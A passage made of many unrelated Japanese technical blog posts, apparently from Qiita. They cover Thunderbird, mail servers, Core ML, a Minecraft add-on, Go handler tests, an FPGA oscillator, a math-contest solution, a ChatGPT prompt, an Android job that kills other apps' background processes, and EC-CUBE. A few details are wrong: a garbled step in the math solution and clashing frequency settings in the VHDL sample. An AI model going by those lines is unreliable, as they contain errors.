お問い合わせフォーム用のアドレス、注文受付用のアドレス、取引先の方と直接やりとりする用のアドレスと、それぞれのアドレスに届いたメールをひとつの画面で簡単に切り替えする事が可能です。
通知機能をオンにしておけば、デスクトップ上に新着メールのポップアップを出すことも出来る為
確認忘れなどのミスを失くせます。

②拡張機能が豊富
ソフトをより便利にカスタマイズできる拡張機能(アドオン)が豊富なのもThunderbirdの特徴です。
よく使う文章を定型文として登録してすぐに呼び出せるようにする、送信前に文章の正誤をチェックしてくれる、送信時間の予約設定ができるといった拡張機能があり自由に追加することができます。
自分でカスタマイズできるので、「使わない機能で画面が見ずらい」「よく分からいボタンの押し間違い」といったことがありません。

# Thunderbirdのデメリットについて
豊富な機能が無料で使えるThunderbirdですが、WEBメールサービスと比較すると少し不便に感じることもあるかもしれません。
①登録・設定が必要になる
登録したらすぐに使えるWEBメールと違い、取得したアドレスをThunderbirdに登録・設定する必要があるので、使い慣れていない方には面倒な作業になると思います。

②操作が分かりづらい部分がある
自分なりにカスタムできる事がメリットである反面、カスタム材料が多く分かりづらい部分があります。

# よくあるトラブルについて
普段からThunderbirdを使用しています。
使用しているなかでよく発生するトラブルについてまとめてみます。
①受信メールが消えてしまった
迷惑メールに振り分けられている、送受信のエラーでうまく届かない…といった可能性もありますが、「あれ？さっきまで受信フォルダにあったメールがない」という場合は、「アーカイブ」に入っている可能性があります。

②動作が急に重くなる
ネットワークには問題ないのに急に動作が重くなるといったことがあります。
解決方法としてはThunderbirdの再起動などがあります。

③メールソフトの為Webメールと違いインストールしたデバイスでしか使えない。
メールソフトになるのでこの辺はしかたない部分ではあります。
それが不便という事であればWebメールと併用して使用する事もいいかと思います。

# 終わりに
無料で使え、複数メールアドレスも一つの画面でみることができるため、メールの管理がしやすく、拡張機能(アドオン)も豊富にあり自分なりのカスタムができる点でとても使用しやすいメールソフトになります。
メリットだけでなくデメリットもある為デメリットを補えるようWEBメールサービスと併用することでより便利に使うことができます。
以上、小林でした。
【メールサーバーついて】

# はじめに
こんにちは小林と申します。
今回は日々の業務でも扱っているメールサーバについて記事を書いていこうと思います。

# メールサーバーとは
メールサーバーとは「メールの送受信の役割を担うサーバー」のことです。
メールサーバーが機能することで、送信されたメールが正しく相手のメールボックスに届くようになっています。
実際にメールの送受信を行う際には、複数のメールサーバーが連携し合うことでやり取りが成立します。

# メールサーバーの種類
ここからはそれぞれのメールサーバーの種類について説明していこうと思います。

- SMTPサーバー【メール配信を行う】
メールの送信は、SMTPと呼ばれる通信プロトコル（ルールのようなもの）で通信を行うため「SMTPサーバー」とも呼ばれています。
送信者がメーラーより送信ボタンを押すと、SMTPサーバーにメールが受け渡されます。そしてDNSサーバーに送信先のメールサーバーの所在を照会したうえで、受信者側のメールサーバーに送信する役割があります。

- POPサーバー【メールを保管する】
送られてきたメールは、 POPサーバーが受け取り、該当するメールアドレスを使用している受信ボックスにメールを届けます。
POPサーバーは、受信ボックスにメールを届けたのち、メール情報はなくなります。そのため、メールサーバーの容量は少なくて済む一方、使用しているデバイス以外での閲覧ができません。

- IMAPサーバー【メールの受信を行う】
IMAPサーバーもPOPサーバーと同じくメールを受信したのち、受信ボックスにメールを届けます。ただし、IMAPサーバーは、メール情報をサーバー内に残しておきます。
そのため、スマートフォン・パソコンなど複数端末でメールの確認ができます。

# メールサーバーの仕組みについて
送信されたメールは自社側のSMTPサーバーに送られ、DNSサーバーで照会したIPアドレス宛に送信されます。
相手側のSMTPサーバーに送られたメールはPOPサーバーまたはIMAPサーバーに保管され、メールソフトなどを利用してメールボックスにダウンロードされます。
メールを送って受信するという一連の流れの中で、複数のサーバーが連携し合っているような形になります。

#終わりに
ここまでメールサーバーの種類と仕組みについてまとめてきましたが
メールサーバーはメールの送受信を行う際に必要なサーバーであり、複数の種類のサーバーが連携し合って機能しています。
サーバーは一見難しく感じる方も多いかもしれませんが、大まかな仕組みや特徴を理解しておくことで、サーバー会社を選ぶ際や日々の業務で役立つのではないかと思います。
以上、小林でした。
【Core ML】一次元のMLMultiArrayをArrayに変換する方法

## はじめに
Core MLを使っていると、モデルの出力が`MLMultiArray`として返されることがよくあります。特に一次元の`MLMultiArray`を扱う際に、それをSwiftの`Array`に変換したいと思うことがあったのですが、情報が少ないためか何気に時間を取られてしまいました。

## MLMultiArrayとは
MLMultiArrayは、Core MLが多次元の数値データを扱うためのデータ構造です。画像や音声、テキストなどのデータをモデルに渡す際や、モデルからの出力を受け取る際に使用されます。MLMultiArrayは、多次元配列を表現するために使われるため、一次元だけでなく、二次元や三次元のデータも扱うことができます。

## MLMultiArrayをArrayに変換

```swift
private func mlMultiArrayToDoubleArray(_ multiArray: MLMultiArray) -> [Double] {
    let length = multiArray.count
    let doublePtr = multiArray.dataPointer.bindMemory(to: Float16.self, capacity: length) // Float16はモデルのデータ型に合わせて変更
    let doubleBuffer = UnsafeBufferPointer(start: doublePtr, count: length)
    let output = Array(doubleBuffer).compactMap { Double($0) }
    return output
}
```

`multiArray.dataPointer`は`MLMultiArray`のデータが格納されているメモリ領域へのポインタで、`bindMemory(to:capacity:)`メソッドを使ってFloat16型として扱っています。このデータ型はモデルの型に合わせて変更してください。さらに`UnsafeBufferPointer`でメモリ領域を安全にアクセスするためのバッファを作成し、ポインタを介して直接メモリにアクセスできるようにしているのがミソです。
【マインクラフト（統合版）】Websocketサーバーと連携できる「いかずちの杖」を作ってみました

# はじめに

威力が集中できる「いなずまの矢」を使った「機雷の弓」に比べると攻撃力は劣りますが、今回は対空武器として使えるものを作ってみました。

▼「いなずまの矢」についてはコチラ

https://qiita.com/glasses_seven/items/a34873dfb559e49d5095/

▼「機雷の弓」についてはコチラ

https://qiita.com/glasses_seven/items/294da5d23bd2e894f7d0/


# 動作環境

<dl>
    <dt>プラットフォーム</dt>
    <dd>Windows10</dd>
    <dt>マインクラフト（統合版）</dt>
    <dd>Bedrock Edition v1.21.51</dd>
    <dt>socket-manager</dt>
    <dd>v1.14.1</dd>
    <dt>言語</dt>
    <dd>PHP v8.2.4（v8.1.0以降）</dd>
</dl>


# 発射イメージ

▼一人称
![一人称画面](https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/first-person.gif "一人称画面")

▼横から見た場合
![横から見た画面](https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/side.gif "横から見た画面")

「召雷の魔石」で実装していたエンティティプロパティも採用しているので、「ネットショップ」に接続中は発動しないのはもちろんですが、最初の落雷地点までのブランクが生まれるので雷撃による範囲ダメージを受けないようにする効果もあります。

▼「召雷の魔石」についてはコチラ

https://qiita.com/glasses_seven/items/e58ec2ceaf2850461965/

▼「エンティティプロパティ」についてはコチラ

https://qiita.com/glasses_seven/items/5553772d3fa8edd09cc0/

▼「ネットショップ」についてはコチラ

https://qiita.com/glasses_seven/items/e77bfb43baf55e35680b/

▼上空に向かって放った場合
![上空に放った時の画面](https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/night.gif "上空に放った時の画面")

空中を旋回しているガストやファントムに対しても、ある程度の高さまでなら攻撃が届くので有利に戦えます。

これだけの落雷を起こさせると雷鳴音が強烈なので迫力満点です。


# 「いかずちの杖」の取得

socket-manager環境のビヘイビアパック／リソースパックなどのアドオンパックを適用しておけば、以下の方法で「いかずちの杖」が手に入ります。

### クラフトする場合

▼必要な素材
![必要な素材](https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/recipe-material.png "必要な素材")

▼レシピパターン
<img src="https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/recipe.png" />

今回は無形レシピのため、アイテムの数さえ合っていれば配置は自由です。

:::note info
無形レシピの作り方や詳細は[>> レシピの作り方](https://qiita.com/glasses_seven/items/6865c9c3ae5d756a2989#無形レシピについて "レシピの作り方")（無形レシピ）のページをご覧ください。
:::

### ショップで購入する場合

以下のショップで購入できます。

https://qiita.com/glasses_seven/items/e77bfb43baf55e35680b/

### コマンドで取得する場合

以下はワールドオーナーやシステム組み込み用としてコマンドで取得する方法です。
<img src="https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/get-command.png" height="354px" width="500px" />
<img src="https://socket-manager.github.io/document/minecraft-contents/img/thunder-rod/get-thunder-rod.png" height="354px" width="500px" />

---

あとはsocket-managerでWebsocketサーバーを起動後、マインクラフトからの接続が完了すれば「風の杖」を含めた各種コンテンツが使えるようになります。

:::note info
socket-managerの導入方法やアドオンパックの所在については以下のページでご紹介していますのでご興味のある方はご覧ください。
:::

https://qiita.com/glasses_seven/items/433ac9d9fcbdb72c6d18/

:::note info
アドオンパックの適用方法については以下のページでご紹介しています。
:::

https://qiita.com/glasses_seven/items/7a174722c9030e669eac


# おわりに

今回の実装でも「風の杖」の時と同じようにクライアント（マインクラフト）側での実装がメインとなっています。

https://qiita.com/glasses_seven/items/3135aab823428dcc708e

<br />
実装のベースは発射アイテムによる発射体カスタムエンティティの発射ですが、発射体の移動と伴に召雷コマンドを実行する事で発射アイテムをかざした方向へ直線的に落雷させています。

https://qiita.com/glasses_seven/items/ed7e18730c9c5de3295c/

https://qiita.com/glasses_seven/items/6bcd386abd74db01e450/

<br />
また、「いかずちの杖」は「はかいのつるぎ」と融合させて使う事もできます。

https://qiita.com/glasses_seven/items/88f9e2fea056172d41b7/

https://qiita.com/glasses_seven/items/dc70171f09f5d0e77202/
【Go】実践的なHTTPハンドラのテストとモック実装

はじめまして！フリーランスエンジニアのこたろうです。
HTTPハンドラのテストとモック実装について、学びで得た知見を共有します。

## なぜインターフェースを使用するのか

Webアプリケーションのテストにおいて、最も重要な点の1つは「依存関係の分離」です。例えば、記事を取得するAPIのテストを考えてみましょう。このAPIは通常、データベースからデータを取得しますが、テストのたびにデータベースを準備するのは非効率です。

ここで威力を発揮するのが、インターフェースによる抽象化です。以下のように、サービス層をインターフェースとして定義することで、テスト時に実装を自由に差し替えることができます：

```go
// インターフェース定義
type ArticleServicer interface {
    FindAll() ([]Article, error)
    FindByID(id int) (*Article, error)
}

// 本番用の実装
type ArticleService struct {
    db *sql.DB
}

// テスト用のモック実装
type MockArticleService struct {
    articles []Article
}
```

これにより、以下のような利点が得られます：
1. データベースに依存しないテストが可能になる
2. テストのセットアップが簡単になる
3. テストの実行が高速になる
4. 様々なエラーケースのテストが容易になる

## HTTPハンドラのテスト方法

Goには、HTTPハンドラをテストするための強力なツールが用意されています。特に重要なのが`httptest`パッケージです。

### テストリクエストの作成
`httptest.NewRequest`関数を使用すると、実際のHTTP通信なしでリクエストを作成できます：

```go
// GETリクエストの作成
req := httptest.NewRequest("GET", "/articles/1", nil)

// POSTリクエストの作成（JSONボディ付き）
body := strings.NewReader(`{"title": "Test Article"}`)
req := httptest.NewRequest("POST", "/articles", body)
```

### レスポンスの記録と検証
`httptest.NewRecorder`は、ハンドラが生成したレスポンスを記録するための特別な`ResponseWriter`を提供します：

```go
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)

// ステータスコードの検証
if rec.Code != http.StatusOK {
    t.Errorf("expected status OK; got %v", rec.Code)
}

// レスポンスボディの検証
var response Article
json.NewDecoder(rec.Body).Decode(&response)
```

### gorilla/muxを使用したルーティングのテスト
`gorilla/mux`を使用している場合、URLパラメータの取り扱いが重要になります：

```go
func TestArticleHandler_WithMux(t *testing.T) {
    // ルーターの設定
    router := mux.NewRouter()
    mockService := &MockArticleService{
        articles: []Article{{ID: 1, Title: "Test Article"}},
    }
    handler := NewArticleHandler(mockService)
    
    // パスパラメータを使用するルートの登録
    router.HandleFunc("/articles/{id}", handler.GetArticle).Methods("GET")
    
    // テストサーバーの作成
    ts := httptest.NewServer(router)
    defer ts.Close()
    
    // リクエストの実行
    resp, err := http.Get(fmt.Sprintf("%s/articles/1", ts.URL))
    if err != nil {
        t.Fatal(err)
    }
    
    // レスポンスの検証
    if resp.StatusCode != http.StatusOK {
        t.Errorf("expected status OK; got %v", resp.StatusCode)
    }
}
```

このテストでは、実際のサーバーと同じようにルーティングが機能することを確認できます。`gorilla/mux`は、URLパラメータを自動的に解析し、ハンドラに渡してくれます。

## モックサービスの実装例

テストでは、本番のデータベース操作を模倣したモックサービスを使用します：

```go
type MockArticleService struct {
    articles []Article
    err      error  // テスト用にエラーを注入できる
}

func (m *MockArticleService) FindByID(id int) (*Article, error) {
    if m.err != nil {
        return nil, m.err
    }
    
    for _, article := range m.articles {
        if article.ID == id {
            return &article, nil
        }
    }
    return nil, errors.New("article not found")
}
```

このモックは：
- テストケースに応じてレスポンスをカスタマイズ可能
- エラーケースのテストが容易
- データベース操作なしで高速にテスト可能

## テストの実践的なポイント

1. テストケースの網羅
   - 正常系（成功）ケース
   - エラーケース（不正なID、データベースエラーなど）
   - バリデーションエラー
   - 空のレスポンスケース

2. レスポンスの詳細な検証
   - ステータスコード
   - レスポンスヘッダー
   - レスポンスボディの構造と内容
   - エラーメッセージの形式

3. エッジケースのテスト
   - 不正なJSONリクエスト
   - 存在しないリソース
   - 大きなペイロード
   - 特殊文字を含むパラメータ

参考文献: 
-『Goで作るはじめてのWebアプリケーション改訂版』技術評論社
- https://techbookfest.org/product/jXDAEU1dR53kbZkgtDm9zx
MachXO2(FPGA)の内蔵オシレータの使用方法

# 概要

LATTICE社製のFPGA、MachXO2シリーズにはクロック源が内蔵されていますので、使用方法についてまとめます。

# 参照資料
LATTICEのテクニカルノート（TN1199）に詳細が記されていいます。

# ポイント
* `machxo2` のライブラリを読み込む必要があります
* コンポーネント宣言の部分のコメント`-- synthesis translate_off`は省略してはいけないようです
* スタンバイ入力は１でスタンバイなので、基本的に０固定でOKです
* スタンバイにすることて電力を抑えたりの作用はありそうですが、バックグラウンドのフラッシュアップデートなどが出来なくなるので、要注意
* 設定可能な周波数は以下のものからしか選択できない
* 実際に使用したい周波数の指定はインスタンス記述の部分で`generic map(NOM_FREQ => "20.46")`のように指定します

2.08 |4.16 |8.31 |15.65
-----|-----|------|-------
2.15 |4.29 |8.58 |16.63
2.22 |4.43 |8.87 |17.73
2.29 |4.59 |9.17 |19.00
2.38 |4.75 |9.50 |20.46
2.46 |4.93 |9.85 |22.17
2.56 |5.12 |10.23 |24.18
2.66 |5.32 |10.64 |26.60
2.77 |5.54 |11.08 |29.56
2.89 |5.78 |11.57 |33.25
3.02 |6.05 |12.09 |38.00
3.17 |6.33 |12.67 |44.33
3.33 |6.65 |13.30 |53.20
3.50 |7.00 |14.00 |66.50
3.69 |7.39 |14.78 |88.67
3.91 |7.82 |15.65 |133.00

# サンプルソース
内蔵クロックでLチカを試したときのサンプルです
```vhdl
library ieee;
use ieee.std_logic_1164.all;
use ieee.std_logic_arith.all;
use ieee.std_logic_unsigned.all;

library machxo2;
use machxo2.all;

entity TOP_MDL is
    Port(
    o_LED       :out    std_logic_vector(0 to 3)--モニタ用LED
    );
end entity;

architecture RTL of TOP_MDL is

   --内蔵オシレータ
    component OSCH
    --    synthesis translate_off
    generic (NOM_FREQ: string := "2.56");
--    synthesis translate_on
    port
        (STDBY  :in     std_logic
        ;OSC    :out    std_logic
        ;SEDSTDBY:out   std_logic
        );
    end component;
    attribute NOM_FREQ : string;
    attribute NOM_FREQ of OSCinst0 : label is "133.00";--周波数設定

signal osc_standby :std_logic;
signal osc_clk      :std_logic;
signal dummy_cnt    :std_logic_vector(24 downto 0);


begin
    -----------------------------------------------
    --内蔵オシレータ
    -----------------------------------------------
    osc_standby <= '0';
    OSCInst0:OSCH
        -- synthesis translate_off
        generic map(NOM_FREQ => "20.46")
        -- synthesis translate_on
        port map
        (STDBY      => osc_standby
        ,OSC        => osc_clk
        ,SEDSTDBY   => open
        );
        
    --ダミーカウンタ
    process(osc_clk)begin
        if(rising_edge(osc_clk))then
            dummy_cnt	<=dummy_cnt+1;
        end if;
    end process;

    o_LED(0) <=dummy_cnt(20);
    o_LED(1) <=dummy_cnt(21);
    o_LED(2) <=dummy_cnt(22);
    o_LED(3) <=dummy_cnt(23);

end architecture;
```

# シミュレーション
ModelSimのLATTICEエディションでは、machxo2のライブラリが含まれていますので普通にシミュレーションできます。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/204268/54215410-ca6d-17cd-0c2d-7396762f0298.png)

※LATTICEのDiamondのバージョンアップが入ってModelsimからQuestaに切り替わった様子なので、Modelsimを使いたいひとはバージョン3.13をお勧めします。
FreeライセンスだとまだQuestaが起動しないとかいう状況みたいです。（2025年1月時点で）
メーロン株式会社のQiita初投稿

## はじめに

メーロン株式会社のシステム開発部です。

この記事では、Qiitaでの初投稿に至った経緯や、今後投稿予定のテーマについてご紹介します。メーロンの雰囲気や活動内容にも触れていきますので、ぜひ最後までお読みいただけると嬉しいです。

ほかのサービスではすでにいくつか記事を公開していますが、社員の「やってみよう！」という自主的な発案から、今回Qiitaにも新たに投稿を始めることにしました。

弊社では社員の自主性を尊重している社風のため、

・**思い立ったらやってみよう** - 動いてみることが大事  
・**なんかあったら相談してね** - チームで支え合う風土  

といった方針が浸透しており、自発的で行動的なメンバーが多いのが特徴です。


会社やメンバーの詳細は最下部にリンクがありますのでご興味ありましたらアクセス頂けますと幸いです。

## 投稿について

弊社ではインフラエンジニア、開発エンジニアが半々ほどおりますので、サーバーやネットワーク関係、スマートフォンアプリ開発やWeb制作、たまにガジェット系の話題などIT技術に関する話題を投稿していこうと思います。
記事を投稿したいメンバーが自発的に書く（書きたかったら書く！）気持ちを優先しているため、テーマが偏ることもありますが、それがむしろメーロンらしさと考えています。

## 最後に - メーロンで働いてみませんか？

もしメーロン株式会社にご興味をお持ちいただけましたら、随時採用も行っております！  
下記リンクのWantedlyページをご覧いただき、気になる点があればお気軽にご相談ください。

- **在宅ワーク希望**  
- **出社と在宅のハイブリッド勤務**  
- **インフラエンジニアからのキャリアチェンジ**  

など、ご要望があれば柔軟に対応いたします！

https://www.wantedly.com/companies/company_2563374
【思考法・考え方】論点思考 BCG流 問題設定の技術

【思考法・考え方】論点思考 BCG流 問題設定の技術
<iframe width="560" height="315" src="https://www.youtube.com/embed/Y5W_epCu36Q?si=7HB3xHbwZe9bzeom" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
OMC215A(190,代数)

https://onlinemathcontest.com/contests/omc215/tasks/9284

$f(x)=x^2-1001x+1001^2$とします。
変形して、
$f(x)=1001^2-x(1001-x)$
と置くことができ、$1≦x≦1000$のどの値でも$x<1001,1001-x<1001$なので、$f(x)>0$が言えます。

$f(x)>0$かつ$\frac{a^2-1001a+1001^2}{b^2-1001b+1001^2}=\frac{f(a)}{f(b)}$なので、$f(a)$が最大、$f(b)$が最小になるときが最大になります。

$f(x)$は下に凸の$2$次関数で、平方完成すると
$f(x)=(x-\frac{1001}{2})^2+C$ $(C$は定数$)$
です。
$x=\frac{1001}{2}$のとき、$f(x)$が最下点になり、$1<\frac{1001}{2}<1000$です。
また、$500<\frac{1001}{2}<501$です。

したがって、$f(x)$か最大になるのは$x=1,1000$のどちらか、または両方、最小になるのは$x=500,501$のどちらか、または両方です。

$f(1)=1^2-1001×1×1001^2$
$=1001^2-(1001-1)×1$
$=1001^2-1000$

$f(1000)=1000^2-1001×1000+1001^2$
$=1001^2-(1001-1000)×1000$
$=1001^2-1000$

$f(500)=500^2-1001×500+1001^2$
$=1001^2-(1001-500)×500$
$=1001^2-500×501$

$f(501)=501^2-1001×501+1001^2$
$=1001^2-(1001-501)×501$
$=1001^2-500×501$

$f(1)=f(1000),f(500)=f(501)$となるので、$(a,b)=\lbrace(1,500),(1,501),(1000,500),(1000,501)\rbrace$になります。
したがって、
$(1+1000)×2+(500+501)×2$
$=4004$
が解になります。
VimとEmacsのエディタ戦争で忘れがちなlessの存在


- ITエンジニアは書く時間よりも読む時間の方が多い
- ソースコードよりもデータの方が多い
- 人間が書くテキストよりも機械が出力するテキストの方が多い
    - 例）aws s3 lsの結果をファイルに落とさず読む
    - 例）curlの結果をファイルに落とさず読む
    - 例）育ちつつあるファイルをtailする
- 「データを読む」シーンは無視できない
- そこでlessコマンド
- lessコマンドは目で読むのではなく手で読む（検索、フィルタなど）
- lessコマンドのキーバインドは「ほぼ」vim
- 「読み書き能力」をリテラシーというなら、less力とvim力を身につけるのがリテラシーを高めるのに最適

「ログなんて触れる立場にないよ！」「誰かが管理画面に集計してくれるよ！」という言い分もあるだろうが、それは「エンジニアリング済み」の環境だから。
【ChatGPT】自己効力感を高めつつ、目標へのステップを提示するPromptを作成しました。


　どうも、カーブミラーです。

　今回は、自己効力感を高めつつ、目標へのステップを提示するPromptを作成しました。

:::note info
本記事は、ChatGPT（Plus版）
で行なっております。
画像はありません。あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　ではさっそく、【本題】です。

　今回は、
　　自己効力感を高めつつ、
　　　目標へのステップを提示する
　　　　Promptを作成しました。

　ヒントをもらったのは、こちら。
　　[成功を引き寄せるマインドセット——“自己効力感”を持っていますか？](https://studyhacker.net/selfefficasy)

　自己効力感とは何か？
　　ChatGPTに尋ねてみました。
***
***ChatGPT***
はい、自己効力感（self-efficacy）は、心理学の概念で、自分が特定の状況や課題において、目標を達成するために必要な行動を取れるという信念や自信を指します。この概念は、心理学者アルバート・バンデューラ（Albert Bandura）によって提唱されました。

自己効力感は、私たちの行動、努力の継続、そして困難に直面したときの忍耐力に大きな影響を与えます。例えば、自己効力感が高い人は、困難な状況でも諦めず、解決策を模索し続ける傾向があります。一方で、自己効力感が低いと、「どうせ自分にはできない」と考え、挑戦を避けることがあります。

バンデューラは、自己効力感が以下のような4つの要因で形成されると考えています：
1. **直接の成功体験**（Mastery Experiences）：過去の成功した経験が、自己効力感を高める最も重要な要素です。
2. **代理経験**（Vicarious Experiences）：他者が成功する姿を見ることで、「自分にもできるかもしれない」と感じること。
3. **言語的説得**（Verbal Persuasion）：他者からの励ましや肯定的なフィードバック。
4. **生理的・感情的状態**（Physiological and Emotional States）：ストレスや緊張が低いと、自己効力感が高まりやすいです。

何か具体的なケースや応用についてさらに知りたい場合は、お気軽に教えてください！
***

　この自己効力感を
　　Promptに組み込み、
　　　目標へのステップを
　　　　出してくれるようにしました。

　以下が、そのPromptになります。
　　＊＊＊に目標を入れて
　　　送信してください。
```Text:目標へのステップを提示するPrompt
**役割:**  
あなたは「自己効力感が低い人を導くプロフェッショナルなコーチ」です。

**目標:**  
{{目標}}=「＊＊＊」
対象者が「{{目標}}」という目標を達成するための具体的な指導を行います。

**指導内容:**  
1. **具体的なステップの提示:**  
   - 「{{目標}}」を達成するために必要な小さなステップを具体的に示します。  
   - 行動を開始するための実践的なアドバイスを提供します。

2. **段階的なプロセスの説明:**  
   - 目標達成までのプロセスをいくつかの段階に分けて説明します。  
   - 各段階ごとに進むべき具体的なアクションを提案します。

3. **進捗状況の評価:**  
   - 簡単に進捗を確認できる方法を提示します。  
   - 自己評価がしやすく、負担にならない仕組みを作ります。

4. **挫折時のサポート:**  
   - 挫折しそうになった場合に心の支えとなるメッセージを用意します。  
   - 前向きな気持ちを維持するための具体的な助言や言葉を与えます。

**指導の特徴:**  
- 明確で分かりやすい内容  
- 実践可能な形で構成
```

　目標には、
　　できるだけの情報を入れる方が
　　　より具体的なステップを
　　　　提示してくれます。

　例えば、
　　「売れる小説家になる」だけでなく
　　　「すでに書き上がっている」と
　　　　現状の情報を追記すれば
　　　　　よりいいですね。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
定期的にバックグラウンドアプリ全リセット（killBackgroundProcessesとJobScheduler）


スリープ状態でもある特定条件下で勝手にやって欲しい処理はたくさんある。
JobScheduler使えばできそうだ。

:::note warn
※killBackgroundProcessesはアプリの終了ではなくタスクがKillされた状態をつくりだす。
バックグラウンドで待機状態にしてあったアプリを選択すると最初の画面に戻っていることが確認できる。セキュリティには要注意。
:::

### 1. 準備
```xml:AndroidManifest.xml
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

</activity>
        <service
            android:name=".JobIntentService"
            android:permission="android.permission.BIND_JOB_SERVICE"
            tools:ignore="Instantiatable" />
    </application>
```
### 2.クラス作成
```kotlin:JobIntentService
class SQLIntentService : JobService(){
    override fun onStartJob(params: JobParameters?): Boolean {
         //ここには載せないが非同期なども可能なので試してください
        Log.d("できてる？？", "できてる！！")
        val activityM: ActivityManager =this.getSystemService(ACTIVITY_SERVICE) as ActivityManager
        val appInfoList: List<ApplicationInfo> =this.packageManager.getInstalledApplications(0)
        for (i in appInfoList.indices) {
            Log.d("Killあぷり", appInfoList[i].packageName)
            //ここで条件付けをすればアプリの取捨選択ができる
            activityM.killBackgroundProcesses(appInfoList[i].packageName)
        }
        return false
    }
    override fun onStopJob(params: JobParameters?): Boolean {
        stopSelf()
        return false
    }
}
```
### 3.実装
```kotlin:mainActivity

private fun alarmSet(){
        alarmCancel()
        val js = getSystemService(Context.JOB_SCHEDULER_SERVICE) as JobScheduler
        val sq = SQLIntentService()
        val serviceComponent = ComponentName(this, SQLIntentService::class.java)
        val jobInfo = JobInfo.Builder(1, serviceComponent)
        //試しに10秒、起動してスリープ状態で確認
            .setMinimumLatency(10000)
            .setOverrideDeadline(10000)
            .build()
        js.schedule(jobInfo)
    }
private fun alarmCancel(){
        val scheduler = getSystemService(Context.JOB_SCHEDULER_SERVICE) as JobScheduler
        scheduler.cancelAll()
    }
    
```

##  おまけ BroadcastReceiverとJobScheduler

かつてブロードキャストは特定のイベントが発生したときに送信するものであり受信すれば発火点として重宝されていた。

https://developer.android.com/develop/background-work/background-tasks/broadcasts?hl=ja

次第に

https://developer.android.com/topic/performance/background-optimization?hl=ja

Android 7.0（API レベル 24）を対象とするアプリは、CONNECTIVITY_ACTION ブロードキャストを受信するようにマニフェストに登録しても受信せず、このブロードキャストに依存するプロセスは開始されません。
--できるだけ早くそれらの依存関係を削除してください。

BroadcastReceiverで行うやり方はあるがこれからはJobSchedulerをおすすめするってこと。
EC-CUBEプラグインアップデートでエラーになる時はPHPバージョンをチェック

EC-CUBEプラグインアップデートでエラーが頻発し、解決したログ

# 基本環境
サーバー　さくらレンタルサーバー
PHP 8.2.20
ECCUBE 4.2.3

# 使用コマンド
```
# メンテナス状態に変更
echo auto_maintenance_update > ./.maintenance

# プラグインを無効化
php bin/console eccube:plugin:disable --code=EC_CUBE_PLUGIN_CODE

# EC-CUBEプラグインのダウンロードと依存ライブラリのダウンロード
php bin/console eccube:composer:require ec-cube/EC_CUBE_PLUGIN_PACKAGE

# キャッシュ削除
php bin/console cache:clear --no-warmup

# ダウンロードしたプラグインを適用（バージョン情報がDBにも反映される）
php bin/console eccube:plugin:update EC_CUBE_PLUGIN_CODE

# プラグインを有効化
php bin/console eccube:plugin:enable --code=EC_CUBE_PLUGIN_CODE

# メンテナス解除
rm ./.maintenance
```

# 症状
ダウンロードでエラーし先へ進まない

# 原因
EC-CUBE4.2.3 は PHP8.2 非対応

# 解決方法
サーバーで PHP8.1 へダウングレード
上記コマンドでプラグインアップデート完了
Pythonで可視化しながら数学を学び直す～その4：あらゆる底の基準！ネイピア数e

# はじめに

今回はネイピア数を軸に、その性質について理解を深めることにしました。
特に、ネイピア数（e）を底とする「対数関数」と「指数関数」が、いかに「基準」として他のすべての底の場合も表すことができるかという「元祖感」や「基準感」をしっかりと味わいたい、という目的のもと、他の底の対数関数と指数関数との関係、およびそれらがどのように変換されるかを見ていきます。

# 構成

例のごとくGithubにPythonコードと詳しい解説を配置しています。

https://github.com/yoshiwatanabe/python-test/blob/main/math/eulers_number.ipynb

# 対数関数の基準

底が2と10の場合を考えます。ちょうどこのふたつはコンピュータサイエンスでよく使う2が底の場合と、学校で$log$を習った時の底10の場合と同じなので、実用性のある底です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103139/23092560-3e5f-5c61-a53d-d69b55a73fb9.png)

上のグラフの、緑の曲線は赤い曲線（底がeの自然対数）で書き直すことができます。

$$
log_{2}(x) = \frac{ln(x)}{ln(2)}
$$

また、同じように、青の曲線も赤い曲線（底がeの自然対数）で書き直すことができます。

$$
log_{10}(x) = \frac{ln(x)}{ln(10)}
$$

書き直した形の分子は$ln(x)$、つまり赤い曲線そのものです。それを$ln(2)$と$ln(10)$で割っています。$ln(2)$と$ln(10)$は演算すると結果の値がでます。

その結果の値で割ったものが、それぞれの底の対数関数だということが分かります。

つまり底が2の対数関数は、自然対数を変化させたものに過ぎないということです（底が10でもその他の底でも同じ）

# 指数関数の基準

対数関数でネイピア数（正確にはネイピア数が底の自然対数）が基準になっていることが分かりましたが、密接に関係している指数関数でもそうなっているに違いありません。

$2^x$、$10^x$、そして$e^x$のグラフで比べてみることにしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/103139/236fc55d-8e72-e799-9397-1bec44d5a4ec.png)

上のグラフの、緑の曲線は赤い曲線（底がeの指数関数）と自然対数に2を渡したもの($ln(2)$)で書き直すことができます。

$$
2^x = e^{x\ln(2)}
$$

同様に、青の曲線は赤い曲線（底がeの指数関数）と自然対数に10を渡したもの($ln(10)$)で書き直すことができます。

$$
10^x = e^{x\ln(10)}
$$

結論から言うと、赤い曲線を「スケール変換」すると緑や青の曲線になります。そしてそのスケールファクターが$ln(2)$や$ln(10)$であるということに過ぎないのです（もう少し詳し解説はGithubにあるjupyterノートブックに記述しています）

# つまりどういうこと？

無理やり例えて言うと「素うどん」があって、それを「きつねうどん」や「たぬきうどん」にするようなものです。（違うか・・・！）

